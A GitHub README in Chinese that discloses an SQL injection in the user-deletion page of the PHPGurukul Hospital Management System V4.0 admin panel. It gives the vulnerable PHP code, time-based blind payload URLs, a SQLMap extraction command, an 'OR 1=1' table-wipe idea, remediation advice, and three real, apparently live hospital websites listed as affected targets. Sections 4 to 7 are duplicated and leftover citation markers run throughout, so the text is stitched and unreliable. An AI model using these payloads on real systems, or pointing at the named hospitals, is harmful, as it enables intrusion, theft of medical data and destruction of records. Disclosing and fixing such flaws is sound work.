Shaon-Xis/PHPGurukul-HMS-SQLi-PoC
GitHub: Shaon-Xis/PHPGurukul-HMS-SQLi-PoC
针对 PHPGurukul 医院管理系统 V4.0 后台用户管理模块中存在的已认证 SQL 注入漏洞的验证与分析。
Stars: 0 | Forks: 0
# PHPGurukul Hospital Management System (HMS) V4.0 (Admin Module) SQL 注入漏洞
## 1. 漏洞概述
| 字段 | 内容 |
| :--- | :--- |
| **系统名称** | PHPGurukul Hospital Management System (HMS) |
| **厂商网站** | [https://phpgurukul.com/](https://phpgurukul.com/) |
| **受影响版本** | V4.0 (最新版) 及部分旧版本 |
| **漏洞类型** | SQL 注入 (SQLi) |
| **漏洞文件** | `/hospital/hms/admin/manage-users.php` |
| **严重程度** | **高/严重** (管理员权限滥用,数据删除,信息泄露) |
| **报告者** | yan1451 |
| **日期** | 2026-02-02 |
## 2. 漏洞描述
在 **PHPGurukul Hospital Management System (HMS) V4.0** 的后端用户管理模块 (`/hospital/hms/admin/manage-users.php`) 中发现了一个严重的 **SQL 注入漏洞**。
系统在处理管理员删除用户的请求时未能对输入进行验证。后端代码直接从 URL 获取 `id` 参数,并在没有任何输入验证、过滤或预处理语句的情况下将其拼接到 SQL `DELETE` 语句中[cite: 111]。
一旦攻击者获得了后端访问权限(或通过 CSRF/XSS 链式攻击),他们就可以构造恶意的 `id` 参数(例如包含 Time-based Blind payloads)来执行任意 SQL 命令。关键在于,由于这发生在 `DELETE` 语句中,攻击者不仅可以通过盲注窃取数据,还可以注入一个“恒真”条件(如 `OR 1=1`)以**瞬间清空整个用户表**,导致严重的拒绝服务[cite: 111]。
## 3. 技术分析
### 漏洞代码逻辑
该漏洞位于 `hospital/hms/admin/manage-users.php`。
在第 12 行左右,程序将 `$_GET['id']` 赋值给 `$uid` 变量。
在第 13 行左右,它使用 `mysqli_query` 直接执行删除操作[cite: 113]。
**文件:** `hospital/hms/admin/manage-users.php`
```
// File: hospital/hms/admin/manage-users.php
if(isset($_GET['del']))
{
$uid=$_GET['id']; // [Vulnerability] Direct input retrieval
// [Vulnerability] Direct concatenation into DELETE statement without sanitization
mysqli_query($con,"delete from users where id ='$uid'");
$_SESSION['msg']="data deleted !!";
}
```
## 4. 概念验证 (复现步骤)
1. **环境:** Windows 10 + phpStudy (Apache/MySQL)[cite: 121]。
2. **访问:** 登录管理员仪表板并导航到 **Users -> Manage Users**。
3. **攻击:** 构造一个包含 Time-based Blind payload 的恶意 URL:
http://localhost/hospital/hms/admin/manage-users.php?id=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)--+&del=delete
4. **执行:** 在浏览器地址栏中输入该 URL 并按 Enter 键[cite: 126, 127]。
5. **结果:** 服务器响应时间约为 **5.04 秒**,明显超过正常响应时间。这证明数据库成功执行了 `SLEEP(5)` 命令[cite: 128]。
## 5. 深度验证与自动化测试
为了满足严格的验证标准,使用 SQLMap 和 Burp Suite 进一步验证了该漏洞,以确认提取敏感数据库字段的能力。
### 5.1 数据库枚举 (SQLMap)
**目标:** 提取数据库核心字段。
**工具:** SQLMap (Level 5, Risk 3)。
**命令:**
```
python sqlmap.py -r manage_users.txt -p id --technique=T --level=5 --risk=3 --dbms=mysql --batch --current-user --current-db
```
**结果:** SQLMap 成功提取了底层数据库信息:
* **当前用户:** `'root@localhost'` (最高权限)
* **当前数据库:** `'hms'`
[cite: 151, 152, 153]
### 5.2 注入逻辑验证 (Burp Suite)
**目标:** 通过 Time-based Blind 验证逻辑执行。
**Payload:** `id=9999' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)--+`
**结果:** 服务器响应时间达到 **12,181 ms** (约 12 秒)。此延迟证实攻击者的 SQL 语句已被后端数据库解析并执行[cite: 156, 157]。
## 6. 公开的受影响实例 (互联网案例研究)
指纹搜索(指纹: "Hospital Management System" / Admin Login / URL 结构)证实该软件被广泛部署。
* **案例 1:** `http://beeyo.et/hms/` (埃塞俄比亚医疗站点;登录页面与指纹匹配)[cite: 133, 134]。
* **案例 2:** `http://apexcareshospital.com/hms/` (Apex Cares Hospital;后端路径 `/hms/admin/` 匹配)[cite: 136, 137]。
* **案例 3:** `http://49.249.28.218:8081/.../hms/admin/` (基于 IP 的站点保留了完整路径特征)[cite: 139, 140]。
*(注: 这些示例仅用于指纹验证;未对这些目标进行主动攻击。)*
## 7. 修复建议
1. **使用预处理语句:** 强烈建议开发者对 SQL 查询使用 `prepare` 和 `bind_param` 方法。这将数据与代码分离,完全防止 SQL 注入[cite: 142]。
2. **整数转换:** 由于 `id` 字段应为数字,请在使用参数之前使用 `intval()` 强制进行类型转换[cite: 143]。
**安全代码示例:**
$uid = intval($_GET['id']);
// 然后使用预处理语句...
## 4. 概念验证 (复现步骤)
1. **环境:** Windows 10 + phpStudy (Apache/MySQL)[cite: 121]。
2. **访问:** 登录管理员仪表板并导航到 **Users -> Manage Users**。
3. **攻击:** 构造一个包含 Time-based Blind payload 的恶意 URL:
http://localhost/hospital/hms/admin/manage-users.php?id=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)--+&del=delete
4. **执行:** 在浏览器地址栏中输入该 URL 并按 Enter 键[cite: 126, 127]。
5. **结果:** 服务器响应时间约为 **5.04 秒**,明显超过正常响应时间。这证明数据库成功执行了 `SLEEP(5)` 命令[cite: 128]。
## 5. 深度验证与自动化测试
为了满足严格的验证标准,使用 SQLMap 和 Burp Suite 进一步验证了该漏洞,以确认提取敏感数据库字段的能力。
### 5.1 数据库枚举 (SQLMap)
**目标:** 提取数据库核心字段。
**工具:** SQLMap (Level 5, Risk 3)。
**命令:**
```
python sqlmap.py -r manage_users.txt -p id --technique=T --level=5 --risk=3 --dbms=mysql --batch --current-user --current-db
```
**结果:** SQLMap 成功提取了底层数据库信息:
* **当前用户:** `'root@localhost'` (最高权限)
* **当前数据库:** `'hms'`
[cite: 151, 152, 153]
### 5.2 注入逻辑验证 (Burp Suite)
**目标:** 通过 Time-based Blind 验证逻辑执行。
**Payload:** `id=9999' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)--+`
**结果:** 服务器响应时间达到 **12,181 ms** (约 12 秒)。此延迟证实攻击者的 SQL 语句已被后端数据库解析并执行[cite: 156, 157]。
## 6. 公开的受影响实例 (互联网案例研究)
指纹搜索(指纹: "Hospital Management System" / Admin Login / URL 结构)证实该软件被广泛部署。
* **案例 1:** `http://beeyo.et/hms/` (埃塞俄比亚医疗站点;登录页面与指纹匹配)[cite: 133, 134]。
* **案例 2:** `http://apexcareshospital.com/hms/` (Apex Cares Hospital;后端路径 `/hms/admin/` 匹配)[cite: 136, 137]。
* **案例 3:** `http://49.249.28.218:8081/.../hms/admin/` (基于 IP 的站点保留了完整路径特征)[cite: 139, 140]。
*(注: 这些示例仅用于指纹验证;未对这些目标进行主动攻击。)*
## 7. 修复建议
1. **使用预处理语句:** 强烈建议开发者对 SQL 查询使用 `prepare` 和 `bind_param` 方法。这将数据与代码分离,完全防止 SQL 注入[cite: 142]。
2. **整数转换:** 由于 `id` 字段应为数字,请在使用参数之前使用 `intval()` 强制进行类型转换[cite: 143]。
**安全代码示例:**
$uid = intval($_GET['id']);
// 然后使用预处理语句...标签:CISA项目, CVE, DoS, HMS, MySQL注入, PHPGurukul, PHP安全, PoC, SQL查询, Time-based Blind, Web安全, 医疗安全, 医院管理系统, 拒绝服务, 数字签名, 数据删除, 暴力破解, 漏洞靶场, 管理后台漏洞, 蓝队分析, 输入验证缺失, 防御检测, 高危漏洞